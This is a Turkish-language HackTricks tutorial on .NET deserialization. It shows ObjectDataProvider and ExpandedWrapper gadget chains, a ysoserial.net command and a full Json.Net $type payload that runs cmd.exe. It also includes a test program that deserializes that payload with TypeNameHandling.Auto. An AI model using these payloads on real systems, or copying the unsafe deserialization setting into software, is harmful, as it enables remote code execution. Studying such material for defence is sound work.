# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} Bu gönderi, **ObjectDataProvider gadget'ının nasıl istismar edildiğini anlamaya** ve **Json.Net ve xmlSerializer serileştirme kütüphanelerinin bu gadget ile nasıl kötüye kullanılabileceğini** açıklamaya adanmıştır. ## ObjectDataProvider Gadget Belgelerden: _ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarar ve oluşturur_.\ Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, **rastgele bir nesneyi sarmaya** izin verir, _**MethodParameters**_ kullanarak **rastgele parametreler ayarlamaya** ve ardından **MethodName kullanarak rastgele bir işlevi** çağırmaya olanak tanır.\ Bu nedenle, rastgele **nesne**, **serileştirilirken** **parametrelerle bir işlevi** **çalıştıracaktır.** ### **Bu nasıl mümkün** **System.Windows.Data** ad alanı, **PresentationFramework.dll** içinde `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` konumunda tanımlanmış ve uygulanmıştır. [**dnSpy**](https://github.com/0xd4d/dnSpy) kullanarak, ilgilendiğimiz sınıfın **kodunu inceleyebilirsiniz**. Aşağıdaki resimde **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** kodunu görüyoruz. ![](<../../images/image (427).png>) Gördüğünüz gibi `MethodName` ayarlandığında `base.Refresh()` çağrılıyor, ne yaptığını görelim: ![](<../../images/image (319).png>) Tamam, şimdi `this.BeginQuery()` ne yapıyor ona bakalım. `BeginQuery`, `ObjectDataProvider` tarafından geçersiz kılınmıştır ve işte yaptığı: ![](<../../images/image (345).png>) Kodun sonunda `this.QueryWorke(null)` çağrıldığını not edin. Bunun neyi çalıştırdığını görelim: ![](<../../images/image (596).png>) Bu, `QueryWorker` fonksiyonunun tam kodu değil, ancak ilginç kısmını gösteriyor: Kod **`this.InvokeMethodOnInstance(out ex);`** çağrısını yapıyor, bu, **metodun ayarlandığı yer**. Sadece _**MethodName**_ ayarlayarak **çalıştırılacağını** kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz: ```java using System.Windows.Data; using System.Diagnostics; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add("cmd.exe"); myODP.MethodParameters.Add("/c calc.exe"); myODP.MethodName = "Start"; } } } ``` Not edin ki `System.Windows.Data` yüklemek için _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ referansını eklemeniz gerekiyor. ## ExpandedWrapper Önceki istismarı kullanarak, **nesne** bir _**ObjectDataProvider**_ örneği olarak **deseralize edileceği** durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne `GetType` ile deseralize edildi). Bu durumda, _ObjectDataProvider_ örneğinde sarılı olan nesne türü hakkında **hiçbir bilgiye sahip olmayacağız** (`Process` gibi). DotNetNuke zafiyeti hakkında daha fazla [bilgi burada](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) bulabilirsiniz. Bu sınıf, belirli bir örnekte kapsüllenmiş olan nesnelerin nesne türlerini **belirlemeye** olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (_ObjectDataProvider_) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (_ObjectDataProvider.MethodName_ ve _ObjectDataProvider.MethodParameters_).\ Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü **_ObjectDataProvider**_ nesnesini bir **_**ExpandedWrapper**_ örneği içinde **sarmalayabileceğiz** ve **deseralize edildiğinde** bu sınıf, _**MethodName**_'de belirtilen **fonksiyonu** **çalıştıracak** _**OjectDataProvider**_ nesnesini **oluşturacaktır**. Bu sarmalayıcıyı aşağıdaki kod ile kontrol edebilirsiniz: ```java using System.Windows.Data; using System.Diagnostics; using System.Data.Services.Internal; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ExpandedWrapper myExpWrap = new ExpandedWrapper(); myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); myExpWrap.ProjectedProperty0.ObjectInstance = new Process(); myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe"); myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe"); myExpWrap.ProjectedProperty0.MethodName = "Start"; } } } ``` ## Json.Net [Resmi web sayfasında](https://www.newtonsoft.com/json) bu kütüphanenin **Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye** izin verdiği belirtilmektedir. Yani, eğer **ObjectDataProvider gadget'ını serileştirebilirsek**, bir nesneyi sadece serileştirerek **RCE**'ye neden olabiliriz. ### Json.Net örneği Öncelikle, bu kütüphaneyi kullanarak bir nesneyi nasıl **serileştireceğimizi/serileştireceğimizi** görelim: ```java using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic; namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = "james@example.com", Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { "User", "Admin" } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]} //Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } } ``` ### Json.Net'i Kötüye Kullanma [ysoserial.net](https://github.com/pwntester/ysoserial.net) kullanarak bir istismar oluşturdum: ```java ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` Bu kodda **sömürüyü test edebilirsiniz**, sadece çalıştırın ve bir hesap makinesinin çalıştığını göreceksiniz: ```java using System; using System.Text; using Newtonsoft.Json; namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata)); //Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } } ``` {{#include ../../banners/hacktricks-training.md}}